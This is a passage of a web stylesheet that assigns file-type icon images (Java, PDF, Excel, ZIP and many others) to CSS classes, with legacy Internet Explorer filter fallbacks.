\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none 